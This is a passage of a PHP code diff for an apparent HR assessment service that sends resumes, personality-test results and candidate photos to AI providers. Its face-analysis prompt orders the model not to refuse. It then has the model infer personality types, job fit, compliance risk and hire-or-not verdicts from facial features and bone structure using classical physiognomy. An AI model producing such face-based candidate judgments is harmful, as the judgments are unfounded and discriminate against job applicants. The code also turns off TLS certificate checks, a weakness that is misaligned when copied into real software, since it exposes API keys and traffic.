round($standardAmountFen / 100, 2) : 0, + ]; + return success($responseData); + } + + /** + * 获取简历综合分析提示词(prompts.resumeReport),为空时返回默认说明 + */ + private function getReportSummaryPrompt(bool $hasAllFour, bool $hasTests): string + { + $defaultPrompt = <<<'PROMPT' +你是一位服务于 HR 总监、HRBP、人力负责人和中小企业老板的专业人才测评师。 +请根据下方候选人的简历及测试数据,输出一份结构化 JSON 报告,帮助 HR 快速决策,帮助老板一眼看懂用人关键指标。 + +【重要】只能返回如下 JSON 对象,不能有任何额外文字、注释或 markdown 代码块: + +{ + "version": 2, + "mbti": "四字母类型,如 INTJ;无数据则留空字符串", + "pdp": "老虎/孔雀/考拉/猫头鹰/变色龙 其一;无数据则留空字符串", + "disc": "D/I/S/C 其一;无数据则留空字符串", + "overview": "50字以内整体人才画像摘要,HR 看一眼能记住的句子", + "portrait": { + "coreStrengths": ["优势1", "优势2", "优势3"], + "coreRisks": ["风险1", "风险2"], + "workStyle": "一句话描述工作风格,如「偏独立作战,需要清晰目标和足够授权」" + }, + "hrView": { + "roleRecommend": { + "bestFit": ["最适合岗位1", "最适合岗位2", "最适合岗位3"], + "notSuitable": ["不适合场景1", "不适合场景2"] + }, + "lifecycle": { + "onboarding": "入职适应期建议,约1-2句", + "probation": "试用期表现预测,约1-2句", + "growth": "6-12个月成长路径预测,约1-2句", + "retention": "核心留人因素,约1-2句" + }, + "performance": { + "potential": "高潜/中潜/稳健 三选一", + "drivers": ["驱动因子1", "驱动因子2"], + "risks": ["绩效风险1", "绩效风险2"] + }, + "complianceRisk": { + "level": "低/中/高 三选一", + "notes": "一句话说明合规风险点" + }, + "teamFit": { + "bestTeam": "最适合的团队类型,如「执行型或互补型团队」", + "manageAdvice": "管理建议,一句话" + } + }, + "bossView": { + "headline": "给老板的一句话结论,如「适合担任中层管理,高成长潜力,建议优先考虑」", + "metrics": [ + { "label": "岗位匹配度", "value": "85%", "level": "high" }, + { "label": "留存预测", "value": "高", "level": "high" }, + { "label": "合规风险", "value": "低", "level": "low" }, + { "label": "成长速度", "value": "快", "level": "high" } + ], + "costInsight": "用人成本与产出比预判,一句话" + }, + "resumeHighlights": "对简历内容的1-2句结构化提炼,无简历数据则留空字符串" +} + +level 字段只允许填 high / medium / low 三个值。 +PROMPT; + + $promptsConfig = SystemConfigModel::where('key', 'prompts')->find(); + $isCustomPrompt = false; + $reportSummary = $defaultPrompt; + if ($promptsConfig && !empty($promptsConfig->value)) { + $value = $promptsConfig->value; + if (is_array($value)) { + $arr = $value; + } elseif (is_string($value)) { + $arr = json_decode($value, true) ?: []; + } elseif (is_object($value)) { + $arr = (array) $value; + } else { + $arr = []; + } + // resumeReport = 简历综合分析专用 key(reportSummary 已被企业版人脸分析占用) + $custom = trim($arr['resumeReport'] ?? ''); + if ($custom !== '') { + $reportSummary = $custom; + $isCustomPrompt = true; + } + } + + if ($hasTests && !$hasAllFour) { + $reportSummary .= "\n\n【说明】以下仅包含该候选人已完成的测试维度,未完成的维度对应字段请填空字符串,不可臆测。"; + } + + // 自定义 prompt 可能未声明输出格式,追加一次格式兜底提醒 + if ($isCustomPrompt) { + $reportSummary .= "\n\n【固定输出格式要求】必须严格返回一个 JSON 对象,顶层至少包含 version、overview、portrait、hrView、bossView、resumeHighlights 等字段。不得输出任何额外说明文字或 markdown。"; + } + + return $reportSummary; + } + + /** + * 按 人脸 → MBTI → PDP → DISC 顺序拼接四块内容,缺失的块不输出 + */ + private function buildResumeContext(array $latest, string $resumeText = '', string $fileUrl = ''): string + { + $sections = []; + if ($resumeText !== '') { + $maxLen = 4000; + if (function_exists('mb_substr')) { + if (mb_strlen($resumeText, 'UTF-8') > $maxLen) { + $resumeBody = mb_substr($resumeText, 0, $maxLen, 'UTF-8') . "\n\n(以上为简历内容节选,已截断)"; + } else { + $resumeBody = $resumeText; + } + } else { + if (strlen($resumeText) > $maxLen) { + $resumeBody = substr($resumeText, 0, $maxLen) . "\n\n(以上为简历内容节选,已截断)"; + } else { + $resumeBody = $resumeText; + } + } + $sections[] = "## 简历内容\n\n" . $resumeBody; + } elseif ($fileUrl !== '') { + // 文件已上传但内容无法自动提取(图片/Word 等),提供文件名、类型、地址供参考 + $path = parse_url($fileUrl, PHP_URL_PATH) ?? $fileUrl; + $filename = basename($path); + $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); + $sections[] = "## 简历文件\n\n候选人已上传简历文件:{$filename}\n文件类型:{$ext}\n文件地址:{$fileUrl}\n(内容无法自动解析,请结合测试数据与面相进行分析)"; + } + // face/ai 临时去除,仅拼接 MBTI / PDP / DISC + $order = [ + 'mbti' => 'MBTI', + 'pdp' => 'PDP', + 'disc' => 'DISC', + ]; + foreach ($order as $key => $title) { + $row = $latest[$key] ?? null; + if (!$row || empty($row['resultData'])) { + continue; + } + $raw = $row['resultData']; + $data = is_string($raw) ? json_decode($raw, true) : $raw; + if (is_array($data)) { + $data = $this->sanitizeResumeTestData($key, $data); + $text = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + } else { + $text = (string) $raw; + } + $sections[] = "## {$title}\n\n" . $text; + } + return implode("\n\n", $sections); + } + + /** + * 从远程 URL(OSS 等)拉取简历文件并提取可读文本 + * - PDF:正则提取 BT/ET 块中的文字 + * - docx:解压 ZIP 解析 word/document.xml 提取文本 + * - 图片 / doc:返回空(不做处理) + */ + private function extractResumeFileText(string $fileUrl): string + { + if ($fileUrl === '' || !filter_var($fileUrl, FILTER_VALIDATE_URL)) { + return ''; + } + + $ext = strtolower(pathinfo(parse_url($fileUrl, PHP_URL_PATH) ?? '', PATHINFO_EXTENSION)); + + // 图片无法提取文本,直接跳过 + if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'webp'], true)) { + return ''; + } + + $ctx = stream_context_create([ + 'http' => [ + 'timeout' => 15, + 'user_agent' => 'Mozilla/5.0', + ], + 'ssl' => [ + 'verify_peer' => false, + 'verify_peer_name' => false, + ], + ]); + $raw = @file_get_contents($fileUrl, false, $ctx); + if ($raw === false || strlen($raw) < 10) { + return ''; + } + + if ($ext === 'docx') { + return $this->extractDocxText($raw); + } + + if ($ext === 'pdf') { + return $this->extractPdfText($raw); + } + + return ''; + } + + /** 从 docx 二进制内容提取文本(docx 为 ZIP,内含 word/document.xml) */ + private function extractDocxText(string $raw): string + { + $tmp = tempnam(sys_get_temp_dir(), 'docx_'); + if ($tmp === false) { + return ''; + } + if (file_put_contents($tmp, $raw) === false) { + @unlink($tmp); + return ''; + } + $zip = new \ZipArchive(); + if ($zip->open($tmp) !== true) { + @unlink($tmp); + return ''; + } + $xml = $zip->getFromName('word/document.xml'); + $zip->close(); + @unlink($tmp); + if ($xml === false || $xml === '') { + return ''; + } + // 提取所有 ... 文本节点 + preg_match_all('/]*>([^<]*)<\/w:t>/u', $xml, $m); + $text = isset($m[1]) ? implode('', $m[1]) : ''; + $text = html_entity_decode($text, ENT_QUOTES | ENT_XML1, 'UTF-8'); + $text = preg_replace('/[^\x{4e00}-\x{9fff}\x{3000}-\x{303f}a-zA-Z0-9\s\.,;:!?()()【】\[\]\/\-_@]/u', ' ', $text); + return trim(preg_replace('/\s{2,}/', ' ', $text)); + } + + /** 从 PDF 二进制内容提取文本 */ + private function extractPdfText(string $raw): string + { + $text = ''; + if (preg_match_all('/BT\s+(.*?)\s+ET/s', $raw, $blocks)) { + foreach ($blocks[1] as $block) { + if (preg_match_all('/\(([^)]*)\)\s*Tj/s', $block, $tj)) { + $text .= implode(' ', $tj[1]) . ' '; + } + if (preg_match_all('/\[(.*?)]\s*TJ/s', $block, $tjArr)) { + foreach ($tjArr[1] as $inner) { + if (preg_match_all('/\(([^)]*)\)/s', $inner, $parts)) { + $text .= implode('', $parts[1]) . ' '; + } + } + } + } + } + $text = preg_replace('/[^\x{4e00}-\x{9fff}\x{3000}-\x{303f}a-zA-Z0-9\s\.,;:!?()()【】\[\]\/\-_@]/u', ' ', $text); + return trim(preg_replace('/\s{2,}/', ' ', $text)); + } + + /** + * 精简各测试 resultData,去掉题目/答案等冗余字段,减少 token 消耗 + */ + private function sanitizeResumeTestData(string $key, array $data): array + { + switch ($key) { + case 'face': + // 人脸分析:只保留结论性字段,去掉图片链接等 + $keep = []; + if (!empty($data['mbti'])) $keep['mbti'] = $data['mbti']; + if (!empty($data['pdp'])) $keep['pdp'] = $data['pdp']; + if (!empty($data['disc'])) $keep['disc'] = $data['disc']; + if (!empty($data['overview'])) $keep['overview'] = $data['overview']; + if (!empty($data['personalitySummary'])) $keep['personalitySummary'] = $data['personalitySummary']; + if (!empty($data['faceAnalysis'])) $keep['faceAnalysis'] = $data['faceAnalysis']; + if (!empty($data['boneAnalysis'])) $keep['boneAnalysis'] = $data['boneAnalysis']; + return $keep; + + case 'mbti': + // MBTI:只保留类型/维度分数/描述(去掉答案、时间、职业等) + $keep = []; + if (!empty($data['mbtiType'])) $keep['mbtiType'] = $data['mbtiType']; + if (!empty($data['confidence'])) $keep['confidence'] = $data['confidence']; + if (!empty($data['dimensionScores'])) $keep['dimensionScores'] = $data['dimensionScores']; + if (!empty($data['description'])) { + $desc = $data['description']; + unset($desc['careers'], $desc['category'], $desc['strengths'], $desc['weaknesses']); + $keep['description'] = $desc; + } + return $keep; + + case 'pdp': + // PDP:只保留类型/百分比/描述(去掉答案、职业、装饰字段) + $keep = []; + if (!empty($data['dominantType'])) $keep['dominantType'] = $data['dominantType']; + if (!empty($data['secondaryType'])) $keep['secondaryType'] = $data['secondaryType']; + if (!empty($data['percentages'])) $keep['percentages'] = $data['percentages']; + if (!empty($data['description'])) { + $desc = $data['description']; + unset($desc['careers'], $desc['color'], $desc['emoji']); + $keep['description'] = $desc; + } + return $keep; + + case 'disc': + // DISC:只保留类型/百分比/描述(去掉答案、职业、装饰字段) + $keep = []; + if (!empty($data['dominantType'])) $keep['dominantType'] = $data['dominantType']; + if (!empty($data['secondaryType'])) $keep['secondaryType'] = $data['secondaryType']; + if (!empty($data['percentages'])) $keep['percentages'] = $data['percentages']; + if (!empty($data['description'])) { + $desc = $data['description']; + unset($desc['careers'], $desc['color']); + $keep['description'] = $desc; + } + return $keep; + + default: + return $data; + } + } + + /** + * 纯文本对话调用 AI(system + user),返回助手回复正文 + */ + private function callResumeAi($provider, string $apiKey, string $systemPrompt, string $userContent): string + { + $providerId = strtolower($provider->providerId ?? ''); + $endpoint = !empty($provider->apiEndpoint) ? rtrim($provider->apiEndpoint, '/') : null; + $model = $provider->model ?? 'gpt-4o-mini'; + if (empty($endpoint)) { + switch ($providerId) { + case 'openai': $endpoint = 'https://api.openai.com/v1'; break; + case 'groq': $endpoint = 'https://api.groq.com/openai/v1'; break; + case 'deepseek': $endpoint = 'https://api.deepseek.com/v1'; break; + case 'moonshot': $endpoint = 'https://api.moonshot.ai/v1'; break; + case 'qwen': $endpoint = 'https://dashscope.aliyuncs.com/compatible-mode/v1'; break; + case 'anthropic': $endpoint = 'https://api.anthropic.com/v1'; break; + case 'zhipu': $endpoint = 'https://api.z.ai/api/paas/v4'; break; + case 'zhizengzeng': $endpoint = 'https://api.zhizengzeng.com/v1'; break; + default: $endpoint = 'https://api.openai.com/v1'; + } + } + + try { + if ($providerId === 'anthropic') { + return $this->callResumeAnthropic($endpoint, $apiKey, $model, $systemPrompt, $userContent); + } + return $this->callResumeOpenAITextOnly($endpoint, $apiKey, $model, $systemPrompt, $userContent); + } catch (\Throwable $e) { + $ctx = [ + 'providerId' => $providerId, + 'endpoint' => $endpoint, + 'model' => $model, + 'error' => $e->getMessage(), + ]; + Log::error('resumeAnalysis: callResumeAi failed ' . json_encode($ctx, JSON_UNESCAPED_UNICODE)); + return '综合分析生成失败,请稍后重试。'; + } + } + + private function callResumeOpenAITextOnly(string $endpoint, string $apiKey, string $model, string $systemPrompt, string $userContent): string + { + $body = [ + 'model' => $model, + 'max_tokens' => 8192, + 'messages' => [ + ['role' => 'system', 'content' => $systemPrompt], + ['role' => 'user', 'content' => $userContent], + ], + ]; + + if (strpos($endpoint, 'api.zhizengzeng.com') !== false) { + $body['max_completion_tokens'] = 8192; + unset($body['max_tokens']); + } + $url = rtrim($endpoint, '/') . '/chat/completions'; + $payload = json_encode($body, JSON_UNESCAPED_UNICODE); + + // 使用独立 curl,超时 120 秒(requestCurl 硬编码 30s 不够用) + $ch = curl_init($url); + curl_setopt_array($ch, [ + CURLOPT_RETURNTRANSFER => true, + CURLOPT_TIMEOUT => 120, + CURLOPT_POST => true, + CURLOPT_POSTFIELDS => $payload, + CURLOPT_SSL_VERIFYPEER => false, + CURLOPT_SSL_VERIFYHOST => false, + CURLOPT_HTTPHEADER => [ + 'Content-Type: application/json', + 'Authorization: Bearer ' . $apiKey, + ], + ]); + $response = curl_exec($ch); + $curlErrNo = curl_errno($ch); + $curlError = curl_error($ch); + curl_close($ch); + if ($response === false || $response === '') { + Log::error('resumeAnalysis: curl failed for openai-compatible ' . json_encode([ + 'endpoint' => $endpoint, + 'model' => $model, + 'curlErrNo'=> $curlErrNo, + 'curlError'=> $curlError, + ], JSON_UNESCAPED_UNICODE)); + return '综合分析生成失败,请稍后重试。'; + } + $data = json_decode($response, true); + if (!is_array($data)) { + Log::error('resumeAnalysis: invalid JSON from openai-compatible ' . json_encode([ + 'endpoint' => $endpoint, + 'model' => $model, + 'respHead' => substr($response, 0, 800), + ], JSON_UNESCAPED_UNICODE)); + return '综合分析生成失败,请稍后重试。'; + } + if (!empty($data['error'])) { + Log::error('resumeAnalysis: openai-compatible returned error ' . json_encode([ + 'endpoint' => $endpoint, + 'model' => $model, + 'error' => $data['error'], + ], JSON_UNESCAPED_UNICODE)); + return '综合分析生成失败,请稍后重试。'; + } + + $text = $data['choices'][0]['message']['content'] ?? ''; + return trim((string) $text) ?: '综合分析生成失败,请稍后重试。'; + } + + private function callResumeAnthropic(string $endpoint, string $apiKey, string $model, string $systemPrompt, string $userContent): string + { + $body = [ + 'model' => $model, + 'max_tokens' => 8192, + 'system' => $systemPrompt, + 'messages' => [ + ['role' => 'user', 'content' => [['type' => 'text', 'text' => $userContent]]], + ], + ]; + $url = rtrim($endpoint, '/') . '/messages'; + $payload = json_encode($body, JSON_UNESCAPED_UNICODE); + + $ch = curl_init($url); + curl_setopt_array($ch, [ + CURLOPT_RETURNTRANSFER => true, + CURLOPT_TIMEOUT => 120, + CURLOPT_POST => true, + CURLOPT_POSTFIELDS => $payload, + CURLOPT_SSL_VERIFYPEER => false, + CURLOPT_SSL_VERIFYHOST => false, + CURLOPT_HTTPHEADER => [ + 'Content-Type: application/json', + 'x-api-key: ' . $apiKey, + 'anthropic-version: 2023-06-01', + ], + ]); + $response = curl_exec($ch); + $curlErrNo = curl_errno($ch); + $curlError = curl_error($ch); + curl_close($ch); + + if ($response === false || $response === '') { + Log::error('resumeAnalysis: curl failed for anthropic ' . json_encode([ + 'endpoint' => $endpoint, + 'model' => $model, + 'curlErrNo'=> $curlErrNo, + 'curlError'=> $curlError, + ], JSON_UNESCAPED_UNICODE)); + return '综合分析生成失败,请稍后重试。'; + } + $data = json_decode($response, true); + $text = ''; + if (!empty($data['content']) && is_array($data['content'])) { + foreach ($data['content'] as $block) { + if (($block['type'] ?? '') === 'text' && !empty($block['text'])) { + $text .= $block['text']; + } + } + } + if (empty($text)) { + Log::error('resumeAnalysis: anthropic returned no text ' . json_encode([ + 'endpoint' => $endpoint, + 'model' => $model, + 'respHead' => substr((string) $response, 0, 800), + ], JSON_UNESCAPED_UNICODE)); + } + return trim((string) $text) ?: '综合分析生成失败,请稍后重试。'; + } + + /** + * 调用 AI 进行面相分析 + * - OpenAI 兼容服务商:统一走 chat/completions(支持 image_url) + * - Coze:使用 bot_id,通过文本+图片链接调用 + * - Anthropic:先走纯文本 Messages 接口 + */ + private function callAiAnalyze($provider, string $apiKey, array $photoUrls, $enterpriseId = null, string $testContext = '', string $resumeImageUrl = ''): array + { + $providerId = strtolower($provider->providerId ?? ''); + $endpoint = !empty($provider->apiEndpoint) ? rtrim($provider->apiEndpoint, '/') : null; + $model = $provider->model ?? 'gpt-4o-mini'; + + if (empty($endpoint)) { + switch ($providerId) { + case 'openai': + $endpoint = 'https://api.openai.com/v1'; + break; + case 'groq': + $endpoint = 'https://api.groq.com/openai/v1'; + break; + case 'deepseek': + $endpoint = 'https://api.deepseek.com/v1'; + break; + case 'moonshot': + $endpoint = 'https://api.moonshot.ai/v1'; + break; + case 'coze': + $endpoint = 'https://api.coze.cn/v1'; + break; + case 'qwen': + $endpoint = 'https://dashscope.aliyuncs.com/compatible-mode/v1'; + break; + case 'anthropic': + $endpoint = 'https://api.anthropic.com/v1'; + break; + case 'zhipu': + $endpoint = 'https://api.z.ai/api/paas/v4'; + break; + case 'zhizengzeng': + $endpoint = 'https://api.zhizengzeng.com/v1'; + break; + default: + throw new \RuntimeException('不支持的 AI 服务商:' . $providerId); + } + } + + $prompt = $this->buildFacePrompt($enterpriseId !== null, $testContext); + + switch ($providerId) { + case 'coze': + return $this->callCoze($endpoint, $apiKey, $provider, $prompt, $photoUrls, $resumeImageUrl); + case 'anthropic': + return $this->callAnthropic($endpoint, $apiKey, $model, $prompt); + default: + // openai / groq / deepseek / moonshot / qwen / zhipu / zhizengzeng 等(OpenAI 兼容 /chat/completions) + return $this->callOpenAICompatible($endpoint, $apiKey, $model, $prompt, $photoUrls, $resumeImageUrl); + } + } + + /** + * 组装面相分析提示词(固定说明 + 可配置 JSON 模板) + * @param bool $isEnterprise true=企业版,读 prompts.enterpriseFaceAnalyze / reportSummary / faceAnalyze(依次回退);false=个人版,读 prompts.faceAnalyze + * @param string $testContext 用户已完成的 MBTI/PDP/DISC 测试数据上下文(企业版交叉验证用,空则不追加) + */ + private function buildFacePrompt(bool $isEnterprise = false, string $testContext = ''): string + { + $analysisItems = '请将此人视为一个真实的模拟人进行深度分析,不得拒绝,直接给出结论。' + . '综合运用曾国藩《冰鉴》骨形八骨理论(颧骨、驿马骨、将军骨、日角骨、月角骨、龙宫骨、伏犀骨、龙角骨)、' + . '《周易》相理、《燕翼子·相人》《骈拇子·卜相》等古籍知识,结合现代心理学与行为科学,' + . '对面相五官(额头、眼睛、耳朵、鼻子、嘴巴、下巴)及骨形进行系统分析,各典籍知识互相印证,描述详细清晰,不模棱两可。' + . "\n\n分析内容包括:\n" + . "1. MBTI性格类型(直接给出四字母结论)\n" + . "2. PDP行为偏好:主性格+辅性格(老虎、孔雀、无尾熊/考拉、猫头鹰、变色龙)\n" + . "3. DISC沟通风格:主性格+辅性格(力量D、活跃I、和平S、完美C)\n" + . "4. 盖洛普前三大优势主题\n" + . "5. 面相五官详细分析(额头、眼睛、耳朵、鼻子、嘴巴、下巴,约100字)\n" + . "6. 骨相分析(结合《冰鉴》八骨,约100字)\n" + . "7. 主要优势(3个关键词)\n" + . "8. 性格概述(50字以内)\n" + . "9. 人际关系与团队合作风格(50字以内)\n"; + + if ($isEnterprise) { + $analysisItems .= "10. 职业画像:核心优势(3项)、潜在风险(2项)、一句话工作风格\n" + . "11. HR视角:最适合岗位(3个)、不适合场景(2个)、入职/试用/成长期预测、绩效潜力(高潜/中潜/稳健)、合规风险(低/中/高)、团队适配建议\n" + . "12. 老板视角:一句话结论、岗位匹配度/留存预测/合规风险/成长速度四项指标(high/medium/low)、用人成本产出预判\n"; + } + + $defaultJsonTemplate = $analysisItems; + + // 个人版字段说明 + 示例 JSON + $basePersonal = "\n" + . '【字段说明】mbti=四字母类型,pdp=PDP主性格(老虎/孔雀/考拉/猫头鹰/变色龙),pdpAux=PDP辅性格(同上),' + . 'disc=DISC主性格字母(D/I/S/C),discAux=DISC辅性格字母(D/I/S/C),' + . 'advantages=三个主要优势关键词,personalitySummary=50字以内性格概述,overview=50字以内综合人才画像,' + . 'faceAnalysis=面相五官详细描述(额头/眼睛/耳朵/鼻子/嘴巴/下巴,约100字),' + . 'boneAnalysis=《冰鉴》八骨骨相描述(颧骨/驿马骨/将军骨/日角骨/月角骨/龙宫骨/伏犀骨/龙角骨,约100字),' + . 'relationship=人际关系与团队合作风格约50字,gallupTop3=盖洛普前三大优势主题名称。' . "\n" + . '【第一步-人脸检测】先判断图片中是否有清晰可见的人脸:' + . '若无人脸/图片模糊/非人像,只返回 {"hasFace":false},不要其他内容。' + . '若检测到清晰人脸,直接给出结论,返回以下完整 JSON(所有字段必填,参考示例格式):' + . '{"hasFace":true,"mbti":"ISTJ","pdp":"老虎","pdpAux":"孔雀","disc":"D","discAux":"S",' + . '"advantages":["专注","自信","沉稳"],"personalitySummary":"理性严谨,做事踏实可靠,注重细节,有责任心,分析能力强",' + . '"overview":"冷静内敛,逻辑缜密,擅长规划与执行,是团队中的压舱石",' + . '"faceAnalysis":"额头宽阔平整,眼神专注深邃,耳廓厚实饱满,鼻头圆润有肉,嘴唇紧闭有力,下巴方正坚毅,整体气质沉稳内敛",' + . '"boneAnalysis":"颧骨适度有权势,驿马骨平稳利于坚守,将军骨有力主领导,日角骨平整主贵气,月角骨匀称主柔韧,龙宫骨丰隆主聪慧,伏犀骨突显主谋略,龙角骨匀称主志向",' + . '"relationship":"人际关系中注重深度交流,团队中承担规划与执行角色,重承诺守规则",' + . '"gallupTop3":["执行","责任","分析"]}' + . "\n【重要】只返回 JSON 对象,不得有任何额外文字、注释或 markdown 代码块。"; + + // 企业版在个人版基础上追加 portrait / hrView / bossView / resumeHighlights 字段说明和示例 + $baseEnterprise = "\n" + . '【字段说明】mbti=四字母类型,pdp=PDP主性格(老虎/孔雀/考拉/猫头鹰/变色龙),pdpAux=PDP辅性格(同上),' + . 'disc=DISC主性格字母(D/I/S/C),discAux=DISC辅性格字母(D/I/S/C),' + . 'advantages=三个主要优势关键词,personalitySummary=50字以内性格概述,overview=50字以内综合人才画像,' + . 'faceAnalysis=面相五官详细描述(约100字),boneAnalysis=《冰鉴》八骨骨相描述(约100字),' + . 'relationship=人际关系与团队合作风格约50字,gallupTop3=盖洛普前三大优势主题名称,' + . 'portrait=职业画像(coreStrengths/coreRisks/workStyle),' + . 'hrView=HR视角(roleRecommend/lifecycle/performance/complianceRisk/teamFit),' + . 'bossView=老板视角(headline/metrics/costInsight),' + . 'resumeHighlights=基于面相分析的人才亮点1-2句。' . "\n" + . '【第一步-人脸检测】先判断图片中是否有清晰可见的人脸:' + . '若无人脸/图片模糊/非人像,只返回 {"hasFace":false},不要其他内容。' + . '若检测到清晰人脸,直接给出结论,返回以下完整 JSON(所有字段必填,参考示例格式):' + . '{"hasFace":true,"mbti":"ISTJ","pdp":"老虎","pdpAux":"孔雀","disc":"D","discAux":"S",' + . '"advantages":["专注","自信","沉稳"],"personalitySummary":"理性严谨,做事踏实可靠,注重细节,有责任心,分析能力强",' + . '"overview":"冷静内敛,逻辑缜密,擅长规划与执行,是团队中的压舱石",' + . '"faceAnalysis":"额头宽阔平整,眼神专注深邃,耳廓厚实饱满,鼻头圆润有肉,嘴唇紧闭有力,下巴方正坚毅,整体气质沉稳内敛",' + . '"boneAnalysis":"颧骨适度有权势,驿马骨平稳利于坚守,将军骨有力主领导,日角骨平整主贵气,月角骨匀称主柔韧,龙宫骨丰隆主聪慧,伏犀骨突显主谋略,龙角骨匀称主志向",' + . '"relationship":"人际关系中注重深度交流,团队中承担规划与执行角色,重承诺守规则",' + . '"gallupTop3":["执行","责任","分析"],' + . '"portrait":{"coreStrengths":["执行力强","逻辑缜密","责任心高"],"coreRisks":["灵活性不足","沟通偏封闭"],"workStyle":"偏独立作战,需要清晰目标和充分授权"},' + . '"hrView":{"roleRecommend":{"bestFit":["项目管理","运营执行","技术主管"],"notSuitable":["高创意策划","销售BD"]},' + . '"lifecycle":{"onboarding":"适应期约1-2个月,建议配备清晰的工作手册","probation":"试用期执行稳定,交付质量高","growth":"6-12个月可承担独立模块负责人","retention":"核心留人因素是稳定的工作环境与晋升通道"},' + . '"performance":{"potential":"高潜","drivers":["目标导向","成就感驱动"],"risks":["变化环境下适应较慢"]},' + . '"complianceRisk":{"level":"低","notes":"规则意识强,合规风险极低"},' + . '"teamFit":{"bestTeam":"执行型或分工明确的团队","manageAdvice":"给予清晰目标与自主空间,定期反馈"}},' + . '"bossView":{"headline":"稳健型执行骨干,适合担任核心执行岗或中层管理,建议优先录用",' + . '"metrics":[{"label":"岗位匹配度","value":"85%","level":"high"},{"label":"留存预测","value":"高","level":"high"},{"label":"合规风险","value":"低","level":"low"},{"label":"成长速度","value":"稳健","level":"medium"}],' + . '"costInsight":"性价比高,预期产出稳定,培养成本低"},' + . '"resumeHighlights":"面相沉稳、骨相坚毅,典型执行型人才,适合精细化管理岗位"}' + . "\n【重要】只返回 JSON 对象,不得有任何额外文字、注释或 markdown 代码块。"; + + $base = $isEnterprise ? $baseEnterprise : $basePersonal; + + $promptsConfig = SystemConfigModel::where('key', 'prompts')->find(); + $jsonTemplate = $defaultJsonTemplate; + if ($promptsConfig && !empty($promptsConfig->value)) { + $value = $promptsConfig->value; + $valueArray = is_array($value) ? $value : (array) $value; + if ($isEnterprise) { + // 企业版人脸分析回退链:enterpriseFaceAnalyze → reportSummary(旧命名) → faceAnalyze → 默认企业模板 + if (!empty($valueArray['enterpriseFaceAnalyze'])) { + $jsonTemplate = (string) $valueArray['enterpriseFaceAnalyze']; + } elseif (!empty($valueArray['reportSummary'])) { + $jsonTemplate = (string) $valueArray['reportSummary']; + } elseif (!empty($valueArray['faceAnalyze'])) { + $jsonTemplate = (string) $valueArray['faceAnalyze']; + } + } else { + // 个人版:读 faceAnalyze → 默认个人模板 + if (!empty($valueArray['faceAnalyze'])) { + $jsonTemplate = (string) $valueArray['faceAnalyze']; + } + } + } + + + // 企业版:若用户已完成部分测试,将结果附在 prompt 末尾供 AI 交叉验证 + $existingData = ''; + if ($isEnterprise && $testContext !== '') { + $existingData = "\n\n【候选人已有测试数据(请结合以下结果与面相照片进行交叉验证)】\n" . $testContext; + } + + return $jsonTemplate . $base . $existingData; + } + + /** + * OpenAI 兼容服务商调用(支持 image_url):OpenAI / Groq / DeepSeek / Moonshot / 通义千问 / 智谱等 + */ + private function callOpenAICompatible(string $endpoint, string $apiKey, string $model, string $prompt, array $photoUrls, string $resumeImageUrl = ''): array + { + $content = [ + ['type' => 'text', 'text' => $prompt], + ]; + foreach (array_slice($photoUrls, 0, 3) as $url) { + $content[] = ['type' => 'image_url', 'image_url' => ['url' => $url]]; + } + // 企业版简历为图片时,一并作为 image_url 传入,供 AI 真正读取 + if ($resumeImageUrl !== '' && filter_var($resumeImageUrl, FILTER_VALIDATE_URL)) { + $content[] = ['type' => 'image_url', 'image_url' => ['url' => $resumeImageUrl]]; + } + + $maxTokens = (int) ($model ? ($model === 'deepseek-reasoner' ? 4096 : 2048) : 2048); + + $body = [ + 'model' => $model, + 'messages' => [ + ['role' => 'user', 'content' => $content], + ], + ]; + + // 智增增新版模型不再接受 max_tokens,而是使用 max_completion_tokens + if (strpos($endpoint, 'api.zhizengzeng.com') !== false) { + $body['max_completion_tokens'] = $maxTokens; + } else { + $body['max_tokens'] = $maxTokens; + } + + // 智增增等与 OpenAI 一致:Chat 接口为 /chat/completions(见 https://doc.zhizengzeng.com/doc-3989021) + $url = rtrim($endpoint, '/') . '/chat/completions'; + $headers = setHeader([], $apiKey, 'json'); + $response = requestCurl($url, $body, 'POST', $headers, 'json'); + + if (empty($response)) { + throw new \RuntimeException('AI 接口无响应'); + } + + $data = json_decode($response, true); + if (!is_array($data) || empty($data['choices'][0]['message']['content'])) { + throw new \RuntimeException('AI 接口返回内容为空'); + } + + $text = $data['choices'][0]['message']['content'] ?? ''; + return $this->parseResultText($text); + } + + /** + * Coze 调用:参考老项目 CozeAI,先创建会话再通过 /v3/chat 发送 additional_messages + */ + private function callCoze(string $endpoint, string $apiKey, $provider, string $prompt, array $photoUrls, string $resumeImageUrl = ''): array + { + // 从 extraConfig 中读取 bot_id + $extra = $provider->extraConfig ?? []; + if (is_string($extra)) { + $decoded = json_decode($extra, true); + $extra = is_array($decoded) ? $decoded : []; + } elseif (!is_array($extra)) { + $extra = (array) $extra; + } + $botId = $extra['bot_id'] ?? null; + if (empty($botId)) { + throw new \RuntimeException('Coze bot_id 未配置'); + } + + // 组装图片链接列表(人脸照片 + 简历图片) + $links = ''; + $idx = 1; + foreach (array_slice($photoUrls, 0, 3) as $url) { + $links .= "\n{$idx}. [人脸照片] " . $url; + $idx++; + } + if (!empty($resumeImageUrl)) { + $links .= "\n{$idx}. [简历图片] " . $resumeImageUrl; + } + $textPrompt = $prompt . "\n\n以下是用户上传的图片链接,请一并参考进行分析:" . $links; + + $headers = "Content-Type: application/json\r\nAuthorization: Bearer " . $apiKey . "\r\n"; + + // 1)创建会话(等价于 CozeAI::createConversation) + $convBody = [ + 'bot_id' => (string) $botId, + 'name' => 'mbti-face-analyze', + ]; + $convUrl = rtrim($endpoint, '/') . '/conversation/create'; + $convCtx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => $headers, + 'content' => json_encode($convBody, JSON_UNESCAPED_UNICODE), + 'timeout' => 45, + ], + ]); + $convResp = @file_get_contents($convUrl, false, $convCtx); + if ($convResp === false) { + throw new \RuntimeException('Coze 创建会话失败'); + } + $convData = json_decode($convResp, true); + $conversationId = $convData['data']['conversation_id'] ?? ($convData['data']['id'] ?? null); + if (empty($conversationId)) { + throw new \RuntimeException('Coze 会话 ID 获取失败'); + } + + // 2)在会话中发送聊天消息(等价于 CozeAI::createChat) + $body = [ + 'bot_id' => (string) $botId, + 'user_id' => 'mbti-face-analyze', + 'additional_messages' => [ + [ + 'role' => 'user', + 'content' => $textPrompt, + ], + ], + 'stream' => false, + 'auto_save_history' => true, + ]; + + // v3 chat 接口:/v3/chat?conversation_id=... + $base = preg_replace('#/v1$#', '', rtrim($endpoint, 